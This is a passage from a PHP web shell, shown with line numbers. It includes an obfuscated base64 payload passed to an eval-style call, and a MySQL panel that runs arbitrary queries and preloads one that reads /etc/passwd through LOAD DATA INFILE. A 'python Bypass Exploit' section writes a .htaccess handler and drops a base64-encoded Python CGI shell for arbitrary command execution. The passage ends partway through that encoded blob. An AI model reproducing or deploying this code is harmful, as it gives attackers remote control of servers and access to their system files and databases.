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'))); ?></textarea>
  757. </td>
  758. </tr>
  759. <tr>
  760. <td>
  761. <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
  762. </td>
  763. </tr>
  764. </table>
  765. </form>
  766. <?php
  767. }
  768. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
  769. if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
  770. if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;
  771. if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS 43RUL_table;\nCREATE TABLE `43RUL_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE 43RUL_table;SELECT * FROM 43RUL_table;\nDROP TABLE IF EXISTS 43RUL_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
  772. while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
  773. foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
  774. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  775. $db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
  776. $msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
  777. $columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){
  778. $msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  779. list($total) = mysql_fetch_row($hasil);
  780. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  781. else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  782. while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
  783. $data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
  784. for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
  785. if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
  786. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
  787. $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
  788. @mysql_select_db($db);$querys = explode(";",$query);
  789. foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
  790. if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
  791. for($i=0;$i<@mysql_num_fields($hasil);$i++)
  792. $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";
  793. for($i=0;$i<@mysql_num_rows($hasil);$i++)
  794. {$rows[email protected]mysql_fetch_array($hasil);$msg .= "<tr>";
  795. for($j=0;$j<@mysql_num_fields($hasil);$j++) {
  796. if($rows[$j] == "") $dataz = "&nbsp;";
  797. else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
  798. else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
  799. else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
  800. while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
  801. $msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
  802. @mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
  803. <form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><br><br><br><table class="tabnet" style="width:300px;"> <tr><th colspan="2">MySQL Connect</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form>
  804. <?php }}
  805. elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) { echo "<center/><br/><b>
  806. +--==[ python Bypass Exploit ]==--+
  807. </b><br><br>";
  808. mkdir('python', 0755);
  809. chdir('python');
  810. $kokdosya = ".htaccess";
  811. $dosya_adi = "$kokdosya";
  812. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  813. $metin = "AddHandler cgi-script .izo";
  814. fwrite ( $dosya , $metin ) ;
  815. fclose ($dosya);
  816. $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
  817. IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
  818. b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
  819. cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
  820. ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
  821. Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
  822. Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
  823. YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
  824. ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  825. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
  826. OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
  827. dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
